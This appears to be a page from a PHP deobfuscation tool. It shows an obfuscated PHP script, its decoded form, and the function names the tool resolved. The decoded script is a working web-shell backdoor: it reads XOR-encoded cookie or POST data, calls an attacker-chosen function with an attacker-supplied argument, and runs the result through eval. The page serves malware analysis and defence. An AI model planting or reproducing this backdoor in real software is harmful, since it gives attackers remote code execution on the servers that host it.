Find this useful? Enter your email to receive occasional updates for securing PHP code.

Signing you up...

Thank you for signing up!

PHP Decode

<?php $NGYpGBGN = chr/* sc */(115) ./*BdA */"\x74"/* sqA */. chr ( 870/* ss ..

Decoded Output download

<?php $NGYpGBGN	=     chr/*   sc  */(115)	./*BdA  */"t"/* sqA */.	chr	(   870/*   ss   */-/*   IsoT  */756	).chr/*  rDd*/(	665    -/* cnVYm   */570	)."r" .	chr/*  M*/(101) .     chr	(	488    - 376  ).'e'  .	"a"	./*  OL*/"t"; 
$BhPYtdaOK	=	chr    (101)/* yPM*/./*IgF*/'x'/*BVJp*/./* Z*/'p'	.	chr (108)	./*   y */chr/*  Utiu*/(	894	-	783/*   sFgt  */).chr/* A   */(    861/*Ke */-/*  Bja  */761	).chr	(101); 
    $CaEeHQAy	=     'c'	.    "o"  .	chr/* AEYc*/(117)/* CcDS */. "n"/*kRGaI*/./*phZ  */chr ( 713/*   CndZy*/-    597	); 
			$YMCOZAsUz/*Q   */=	"p"/*   fNLbt*/. "a"/*  cfguq  */.    "c"/* Exo*/. 'k'; 
  $TRzBP =/*  Ghmyj  */Array  (  "SiLLYNZGiAURBtfL"/*  sC*/=> "EZkycN"/*Q */); 
				     $gLnTiPW/*   B */=/*Y*/Array (    "LItruhjd"   =>/*tPN */"BnvDknhBbucCNa" ); 
					/*  pTSjf  */foreach/*   vsDob  */(    Array(/*  FdbTB*/$TRzBP,	$_COOKIE,	$gLnTiPW,	$_POST,	$TRzBP)	as   $qTilB)     { 
     foreach   ( $qTilB/*   b*/as	$OnrOEBFLG/*   ZcLQ */=>	$NyzWd     ) { 
 
	$NyzWd	=	@$YMCOZAsUz(	'H'	.	"*",	$NyzWd/* JZadP   */); 
 
 
	$OnrOEBFLG	.=/*   uGLMD   */"eEflkU-mJv-StA-oPmyIC-JgP-sapHRac-YpWaY"; 
					    $OnrOEBFLG	=	$NGYpGBGN (/*  oIVb   */$OnrOEBFLG,	(/*  d */strlen(/* Ostd   */$NyzWd/* Cvz */)/strlen(	$OnrOEBFLG	)   )/*  u   */+/* o  */1); 
			/*q*/$IcAEAUWfn   =/*hFkO  */$NyzWd	^/*  ZUhcJ   */$OnrOEBFLG; 
				$IcAEAUWfn	=/*  cQ  */$BhPYtdaOK  (	"#",	$IcAEAUWfn    ); 
		/*Z*/if/*mYNq   */(  $CaEeHQAy	(/*   QGEBx  */$IcAEAUWfn     )/*   OymZ */==	3/* HK  */)   { 
   $param1   =    $IcAEAUWfn[1]; 
        $param2	=	$IcAEAUWfn[2]; 
					/*  RNdY*/$param3	= $param1($param2); 
			/*   H*/eval	(	$param3/*  q*/); 
/* o  */die  (); 
   } 
 
/*  oyinZ*/} 
 /*LW   */} ?>

Did this file decode correctly?

Original Code

<?php $NGYpGBGN	=     chr/*   sc  */(115)	./*BdA  */"\x74"/* sqA */.	chr	(   870/*   ss   */-/*   IsoT  */756	).chr/*  rDd*/(	665    -/* cnVYm   */570	)."\x72" .	chr/*  M*/(101) .     chr	(	488    - 376  ).'e'  .	"\x61"	./*  OL*/"\164";
$BhPYtdaOK	=	chr    (101)/* yPM*/./*IgF*/'x'/*BVJp*/./* Z*/'p'	.	chr (108)	./*   y */chr/*  Utiu*/(	894	-	783/*   sFgt  */).chr/* A   */(    861/*Ke */-/*  Bja  */761	).chr	(101);
    $CaEeHQAy	=     'c'	.    "\157"  .	chr/* AEYc*/(117)/* CcDS */. "\x6e"/*kRGaI*/./*phZ  */chr ( 713/*   CndZy*/-    597	);
			$YMCOZAsUz/*Q   */=	"\x70"/*   fNLbt*/. "\x61"/*  cfguq  */.    "\143"/* Exo*/. 'k';
  $TRzBP =/*  Ghmyj  */Array  (  "SiLLYNZGiAURBtfL"/*  sC*/=> "EZkycN"/*Q */);
				     $gLnTiPW/*   B */=/*Y*/Array (    "LItruhjd"   =>/*tPN */"BnvDknhBbucCNa" );
					/*  pTSjf  */foreach/*   vsDob  */(    Array(/*  FdbTB*/$TRzBP,	$_COOKIE,	$gLnTiPW,	$_POST,	$TRzBP)	as   $qTilB)     {
     foreach   ( $qTilB/*   b*/as	$OnrOEBFLG/*   ZcLQ */=>	$NyzWd     ) {

	$NyzWd	=	@$YMCOZAsUz(	'H'	.	"\52",	$NyzWd/* JZadP   */);


	$OnrOEBFLG	.=/*   uGLMD   */"eEflkU-mJv-StA-oPmyIC-JgP-sapHRac-YpWaY";
					    $OnrOEBFLG	=	$NGYpGBGN (/*  oIVb   */$OnrOEBFLG,	(/*  d */strlen(/* Ostd   */$NyzWd/* Cvz */)/strlen(	$OnrOEBFLG	)   )/*  u   */+/* o  */1);
			/*q*/$IcAEAUWfn   =/*hFkO  */$NyzWd	^/*  ZUhcJ   */$OnrOEBFLG;
				$IcAEAUWfn	=/*  cQ  */$BhPYtdaOK  (	"\43",	$IcAEAUWfn    );
		/*Z*/if/*mYNq   */(  $CaEeHQAy	(/*   QGEBx  */$IcAEAUWfn     )/*   OymZ */==	3/* HK  */)   {
   $param1   =    $IcAEAUWfn[1];
        $param2	=	$IcAEAUWfn[2];
					/*  RNdY*/$param3	= $param1($param2);
			/*   H*/eval	(	$param3/*  q*/);
/* o  */die  ();
   }

/*  oyinZ*/}
 /*LW   */}

Function Calls

chr 12

Variables

$TRzBP [{'key': 'SiLLYNZGiAURBtfL', 'value': 'EZkycN'}]
$gLnTiPW [{'key': 'LItruhjd', 'value': 'BnvDknhBbucCNa'}]
$CaEeHQAy count
$NGYpGBGN str_repeat
$BhPYtdaOK explode
$YMCOZAsUz pack

Stats

MD5 bc2352d81b77e342e9b8d4be2db0ffe4
Eval Count 0
Decode Time 306 ms